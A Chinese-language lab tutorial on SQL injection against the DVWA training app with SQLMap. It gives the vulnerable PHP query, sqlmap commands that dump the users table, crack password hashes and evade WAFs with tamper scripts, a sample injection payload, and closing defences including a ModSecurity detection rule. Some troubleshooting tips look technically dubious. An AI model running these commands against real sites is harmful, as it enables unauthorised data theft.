1. 实验环境准备与工具配置
DVWA(Damn Vulnerable Web Application)是一个专为安全测试设计的PHP/MySQL应用,内置了SQL注入、XSS、文件包含等常见漏洞模块。我选择它作为实验平台,主要因为其环境可控且漏洞类型明确,非常适合新手学习渗透测试基础。
SQLMap作为自动化SQL注入工具的最新稳定版(1.7.8),需要Python 2.6/2.7或3.x环境支持。安装时常见的问题是依赖库缺失,建议通过以下命令完整安装:
pip install --upgrade sqlmap注意:实际测试中我发现Python 3.9+环境可能出现兼容性问题,推荐使用Python 3.7.x版本。如果遇到"Missing dependencies"错误,需要手动安装pyOpenSSL、urllib3等库。
实验网络拓扑应采用隔离环境,我通常使用VirtualBox搭建包含以下组件的测试环境:
- Kali Linux(攻击机)
- Windows 10(靶机)
- DVWA部署在靶机的XAMPP环境中
2. DVWA靶场配置要点
下载DVWA 1.10版本后,需要特别注意config.inc.php文件的配置:
$_DVWA['db_user'] = 'dvwa'; $_DVWA['db_password'] = 'p@ssw0rd'; $_DVWA['db_database'] = 'dvwa';安全级别设置直接影响注入难度,建议从"low"级别开始练习:
- 登录DVWA后进入"Security"页面
- 将安全级别调整为"Low"
- 测试结束后务必恢复为"Impossible"级别
关键技巧:在"SQL Injection"模块的源码中(vulnerabilities/sqli/source/low.php),可以看到未做任何过滤的SQL语句:
$id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";3. SQLMap基础探测流程
首先使用Burp Suite拦截SQL注入页面的请求(/vulnerabilities/sqli/?id=1&Submit=Submit),保存为request.txt文件。然后执行基础探测命令:
sqlmap -r request.txt --batch --risk=3 --level=5参数解析:
--batch:自动选择默认选项--risk=3:启用高风险测试(含OR-based注入)--level=5:最大检测强度
当检测到注入点后,典型输出会包含:
Parameter: id (GET) Type: boolean-based blind Title: MySQL >= 5.0 AND boolean-based blind Payload: id=1' AND 5891=5891 AND 'aVkj'='aVkj4. 高级注入技术实战
4.1 数据库指纹识别
获取DBMS详细信息:
sqlmap -r request.txt --banner --current-user --current-db典型输出:
banner: '5.7.26-0ubuntu0.18.04.1' current user: 'dvwa@localhost' current database: 'dvwa'4.2 表结构枚举
列出所有表结构:
sqlmap -r request.txt --tables --columns关键输出示例:
Database: dvwa Table: users [5 columns] +------------+-------------+ | Column | Type | +------------+-------------+ | user_id | int(6) | | first_name | varchar(15) | | last_name | varchar(15) | | user | varchar(15) | | password | varchar(32) | +------------+-------------+4.3 数据提取技巧
获取用户凭证的三种方式:
- 常规提取:
sqlmap -r request.txt -D dvwa -T users --dump- 条件提取(仅admin用户):
sqlmap -r request.txt -D dvwa -T users -C user,password --where="user='admin'"- 哈希破解:
sqlmap -r request.txt -D dvwa -T users -C password --passwords5. 防御绕过与疑难处理
5.1 WAF绕过技术
当遇到基础注入被拦截时,可以尝试:
sqlmap -r request.txt --tamper=space2comment --random-agent常用tamper脚本:
space2comment:空格转/**/between:用BETWEEN替换比较符chardoubleencode:双重URL编码
5.2 高安全级别挑战
DVWA的"High"级别使用session防护,需要:
- 先获取有效PHPSESSID
- 在请求头中添加Cookie
sqlmap -r request.txt --cookie="PHPSESSID=abc123; security=high"5.3 常见错误解决
- 连接超时:检查DVWA的config.inc.php中allow_url_include是否开启
- 编码问题:添加
--hex参数进行十六进制编码 - 403禁止访问:使用
--proxy=http://127.0.0.1:8080通过Burp观察请求
6. 安全防护建议
从防御角度,DVWA的"Impossible"级别展示了最佳实践:
$id = $_GET['id']; $stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = :id"); $stmt->bindParam(':id', $id, PDO::PARAM_INT); $stmt->execute();关键防护措施:
- 使用预处理语句(PDO/mysqli)
- 输入类型强制转换(如(int)$_GET['id'])
- 最小权限原则(数据库用户仅需SELECT权限)
- 错误信息屏蔽(display_errors=Off)
在真实环境中,还应部署WAF规则过滤常见注入特征,例如:
SecRule REQUEST_URI|REQUEST_BODY "@rx (union[\s\+]+select|sleep\(|benchmark\()" \ "id:10001,phase:2,deny,status:403"